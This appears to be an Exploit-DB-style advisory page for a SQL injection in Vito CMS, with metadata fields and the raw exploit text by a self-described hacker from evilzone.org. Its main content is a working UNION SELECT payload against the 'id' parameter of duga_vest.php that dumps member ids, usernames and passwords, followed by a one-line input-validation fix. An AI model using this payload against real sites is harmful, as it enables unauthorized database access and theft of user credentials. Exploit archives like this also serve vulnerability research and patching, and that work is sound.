Vito CMS Exploit

vendor:

Vito CMS

by:

hacker@sr.gov.yu

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Vito CMS

Affected Version From: ALL

Affected Version To: ALL

Patch Exists: Not available

Related CWE: Not available

CPE: Not available

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows & Linux

Not available

It was found that Vito CMS does not validate properly the "id" parameter value. http://server/duga_vest.php?id=1[SQL] http://server/duga_vest.php?id=-217+UNION+SELECT+1,2,3,group_concat(id,0x3a,username,0x3a,password,0x3a),5,6,7,8+from+members--

Mitigation:

Input validation of "id" parameter should be corrected.

Source

Exploit-DB raw data:

####################################################################
.:. Author : hacker@sr.gov.yu
.:. Contact: hacker@evilzone.org, hacker@sr.gov.yu(MSN)
.:. Home : www.evilzone.org
.:. Script : Vito CMS
.:. Info link: http://kameleon-lab.com/vito-cms.php
.:. Versions: ALL
.:. Bug Type : Sql Injection
.:. Risk: High
.:. Tested on : Windows & Linux
####################################################################

===[ Exploit ]===

.:. It was found that Vito CMS does not validate properly the "id"
parameter value.

http://server/duga_vest.php?id=1[SQL]

===[ Example ]===

http://server/duga_vest.php?id=-217+UNION+SELECT+1,2,3,group_concat(id,0x3a,username,0x3a,password,0x3a),5,6,7,8+from+members--

===[ Solution ]===

.:. Input validation of "id" parameter should be corrected.


Greetz to ALL EVILZONE.org members!!!
Pozdrav za sve iz Srbije!!! :-)))